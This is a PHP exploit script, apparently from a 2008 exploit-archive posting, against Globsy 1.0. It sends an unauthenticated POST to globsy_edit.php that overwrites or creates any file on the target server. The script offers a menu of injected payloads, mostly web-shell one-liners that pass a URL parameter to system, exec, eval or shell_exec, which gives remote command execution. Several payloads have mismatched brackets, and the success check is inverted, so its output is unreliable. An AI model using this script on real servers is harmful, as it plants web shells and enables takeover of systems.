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globsy-rewrite.txt

Posted on 13 October 2008

#!/usr/bin/php -q
<?php

/*
----------------------------------------------------------------------
Globsy <= 1.0 Remote File Rewriting Exploit
Discovered By StAkeR aka athos - StAkeR[at]hotmail[dot]it
Discovered On 12/10/2008
http://switch.dl.sourceforge.net/sourceforge/globsy/globsy_1.0.tar.gz
----------------------------------------------------------------------

globsy_edit.php

37. elseif($mode == "save"){
38. $handle = fopen($filename, "w") or die("Write: The file <i>'".$filename."'</i> could not be opened.");
39. fwrite($handle, $data) or die("Write: The file <i>'".$filename."'</i> could not be writen.");

$mode is $_POST['mode'] and $data = $_POST['data']

so you can rewrite (or create) any file

*/


error_reporting(0);
ini_set("default_socket_timeout",5);

$host = str_replace('http://',null,$argv[1]);
$path = $argv[2]."/globsy_edit.php?file=";
$file = $argv[3];
$exec = intval($argv[4]);

if($exec == 8)
{
$input = stripslashes(trim(fgets(STDIN)));
}
else
{
$input = "Write your code
";
}


$array = array(
'include($_GET["input"]);',
'exec($_GET["input");',
'eval($_GET["input");',
'file_get_contents($_GET["input"]);',
'phpinfo();',
'system($_GET["input");',
'shell_exec($_GET["input");',
'echo $_GET["input");',
$input
);

if($argc != 5)
{
echo "[?] Globsy <= 1.0 Remote File Rewriting Exploit
";
echo "[?] Usage: php $argv[0] [host] [path] [file] [option]

";
echo "[?] Options: 
";

for($i=0;$i<=count($array)-1;$i++)
{
echo "-$i $array[$i]
";
}
return exit;
}

if(!$sock = fsockopen($host,80)) die("[?] Socket Error
");

$path .= $file;
$post .= "mode=save&data=<?php {$array[$exec]} ?>";
$data .= "POST /$path HTTP/1.1
";
$data .= "Host: $host
";
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)
";
$data .= "Content-Type: application/x-www-form-urlencoded
";
$data .= "Accept-Encoding: text/plain
";
$data .= "Content-Length: ".strlen($post)."
";
$data .= "Connection: close

";
$data .= $post;

if(!fputs($sock,$data)) die("[?] Fputs Error!
");

while(!feof($sock))
{
$content .= fgets($sock);
} fclose($sock);

if(!strpos('File data saved OK',$content))
{
echo "[?] Exploit Successfully!
";
echo "[?] $array[$exec] written in $file
";
}
else
{
echo "[?] Exploit Failed!
";
exit;
}


?>

 

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